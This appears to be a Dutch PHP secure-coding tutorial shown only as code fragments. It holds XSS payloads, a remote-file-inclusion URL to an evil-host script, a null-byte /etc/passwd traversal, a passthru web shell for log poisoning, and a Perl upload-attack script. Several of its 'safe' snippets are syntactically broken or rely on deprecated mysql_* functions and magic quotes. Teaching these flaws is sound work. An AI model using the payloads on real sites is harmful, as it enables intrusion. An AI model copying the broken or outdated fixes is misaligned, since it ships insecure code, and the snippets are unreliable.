Veilig programmeren (PHP)

echo "Geen resultaten voor:". $zoekwoord;

<script>alert('foutje')</script>

$zoekwoord = htmlentities($zoekwoord);

<script>alert(/'foutje/')</script>

<script>alert(String.fromCharCode(88,83,83))</script>

$pagina = $_GET['pagina']; // pakt de variabelen
include($pagina . '.php'); // include variabelen + .php

www.websitenaam.nl/index.php?pagina=contact

www.websitenaam.nl/index.php?pagina=http://www.kwadebedoelingen.nl/evilscript.php?

$pagina = $_GET['pagina'];
$paginas = array('contact','index','producten'); // namen van de paginas

if(in_array($pagina, $paginas)) // controlleerd of pagina 1 van de namen bevat
{
include("$pagina . '.php'); // zo ja include
}
else
{ $pagina = "index.php"; include($pagina); } // en anders include gewoon index.php

php.inni instellingen:
1.Set allow_url_fopen to OFF
2.Set allow_url_include to OFF

De script
-------------------------------------------------------------------------------------------
-------------------
$pagina = $_GET['pagina']; // pakt de variabelen

$pagina = strtolower($pagina); // zet $pagina om in kleine letters
$pagina = str_replace("***","http:",$pagina); // vervangt http: voor ***
$pagina = str_replace("***","www.",$pagina); // vervangt www. voor ***

include($pagina . '.php'); // include variabelen + .php
-------------------------------------------------------------------------------------------
-----------------

www.onveiligewebsite.nl/index.php?pagina=../../../../../etc/passwd%00

gebruiker:kPeMVnZM0oL7I:504:100:FullName:/home/gebruiker:/bin/sh

www.onveiligewebsite.nl/index.php?pagina=../../../../../../../etc/httpd/logs/acces_log

<? passthru(\$_GET[cmd]) ?>.

www.onveiligewebsite.nl/index.php?pagina=/../../../index/httpd/public_html/avatars/evilfoto
.jpg

http://www.google.nl/search?hl=nl&q=lachen%dit

if($_FILES['userfile']['type'] != "image/gif") { // controlleert of het een gif bestand is
echo "Sorry, we accepteren alleen gif bestanden";
exit;
}

$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "Bestand is geupload.\n";
} else {
echo "Dit bestands type is niet toegestaan.\n";
}

#!/usr/bin/perl

use LWP;
use HTTP::Request::Common;

$ua = $ua = LWP::UserAgent->new; # de useragent is een HTTP client

$res = $ua->request(POST 'http://onveiligewebsite.nl/upload.php', # POST request
Content_Type => 'form-data', # de content type is

Content => [
userfile => ["plaatje.gif","plaatje.gif"], # bestand/foto

],
);
print $res->as_string(); # weergeeft de reponse van de website

$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);

if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
echo "Dit bestands type is niet toegestaan\n";
exit;
}

$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "Het bestand is geupload.\n";
} else {
echo "Dit bestands type is niet toegestaan.\n";
}

$nietuploaden = array(".php", ".phtml",".php4",".php5",".php6");

foreach ($nietuploaden as $item) {
if(preg_match("/$item\$/i", $_FILES['userfile']['name'])) {
echo "Wij staan geen php bestanden toe\n";
exit;
}
}

$server = "localhost";$user = "gebruikersnaam";
$password = "wachtwoordhier"; $database = "fotos";

mysql_connect($server,$user,$password);
mysql_select_db($database);

$idnumber = $_GET['id'];
$sql = "SELECT * FROM fotos WHERE id = '" . mysql_real_escape_string($idnumber) . "'";
$data = mysql_query($sql);
$row = mysql_fetch_assoc($data);
mysql_free_result($data);

header ("Content-type: image/gif");
readfile($row['foto']);
exit;

mysql_close();

$id = $_GET['id'];
$sql = "SELECT * FROM members WHERE id = ".$id."";
mysql_query($sql);

$titel = mysql_real_escape_string($_POST[''titel'']);

if(is_numeric($id)
{
code hier
}

function checkmagicquotes()
{
if(get_magic_quotes_gpc()) // checkt of magic quotes aanstaat
{
return true;
} else { return false; }

}

if(checkmagicquotes() == false) // Als magic quotes uitstaat dan
{
$titel = mysql_real_escape_string($_POST[''titel'']); // escape titel
}